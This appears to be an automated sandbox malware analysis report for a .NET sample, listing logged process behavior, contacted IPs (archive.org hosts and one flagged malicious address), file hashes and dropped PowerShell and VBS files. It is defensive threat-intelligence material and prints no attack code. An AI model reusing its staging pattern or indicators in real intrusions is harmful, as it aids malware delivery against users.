Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

IP	Domain	Country	ASN	ASN Name	Malicious
207.241.227.119	ia601509.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.232.198	ia803408.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.227.126	ia601406.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.227.112	ia601502.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false
207.241.224.2	archive.org	United States	7941	INTERNET-ARCHIVEUS	false
216.230.75.62	unknown	United States	13886	CLOUD-SOUTHUS	true

ID:	433020
Product:	CloudBasic
Start time:	06:33:12
Start date:	11.06.2021
Sample:	xGrfj8RvYg.exe
Cookbook:	default.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	722603aa75534bec9d1191f062fb2c03
SHA1:	321ea5aa8368f394dcbdcc6ce7ebaab89861150d
SHA256:	3e7cecddd88f1fdc8eb055ef6ab1eacfadb706582cb0fe190d99e493baa78691
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Analysis Report xGrfj8RvYg.exe

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

Name	Type	MD5	SHA1	SHA256
C:\Users\Public\-----Run+++++++++.ps1	ASCII text, with very long lines, with CRLF line terminators	10305A80924712940646CCA278CEE796	6DB80D4B3828F14AE105DF2BA8AB3ECCF2AB682F	2EC32C9EFDB4BA49EFC12BFDA4EBC8DDE498C618E3746F71BA72DA884F8573C0
C:\Users\Public\Run\Run.vbs	ASCII text, with CRLF line terminators	B61084C93B7923021799A1F3D9756182	9744FD3D75F7F1A6DFB2B3F8C52F21551A96036D	70D7CBCE07A5D72764B38923ADE703FAE0BD6FFB2AA435D8A6988E6C66EC89BB
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xGrfj8RvYg.exe.log	ASCII text, with CRLF line terminators	B10E37251C5B495643F331DB2EEC3394	25A5FFE4C2554C2B9A7C2794C9FE215998871193	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\Clean_lol123[1].txt	HTML document, ASCII text, with very long lines, with CRLF line terminators	A3B75BE1163014E2F01E87ADC2D49724	9F8DB267FC3F9263651BDBDABD04FC4B940B0123	5A7102CD16FBC915648876A6419231546ADC9E04D50C0F9B71E5D922CA10D9B5
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	data	6049E98CE5D644576C54D3F4844468ED	58E3D61381D54FD51C0C913940FF9B952189A5D8	354ADD5966932A0ED1ABE70FE8A1850B215564290661E34E1FBCEB7989AA5803
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4sskfsz.fda.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ligmpoba.nku.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vivyprwg.nre.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xdrybsou.rmb.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\Documents\20210611\PowerShell_transcript.715575.7kfD7GZs.20210611063402.txt	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators	9B86905AA5C26D14CF48E674C74987F8	379EFDA2ACCBB4A6CBA9B77A3FACD0D68C4097E1	9445D96838C2D5DA7DBD32319509019267D583FBB58F9C45EAF36D893B749DE2
C:\Users\user\Documents\20210611\PowerShell_transcript.715575.rFlTN3zv.20210611063435.txt	UTF-8 Unicode (with BOM) text, with CRLF line terminators	2F83B1ABF6F78BEDD9B49AFF43D35A2F	777ECB2C0A0E855757DC721A3A28C202FDA66767	ED881F0E6B02711913C43F0142A80C4822FD54270C0861A4BEDB947A73DCA75B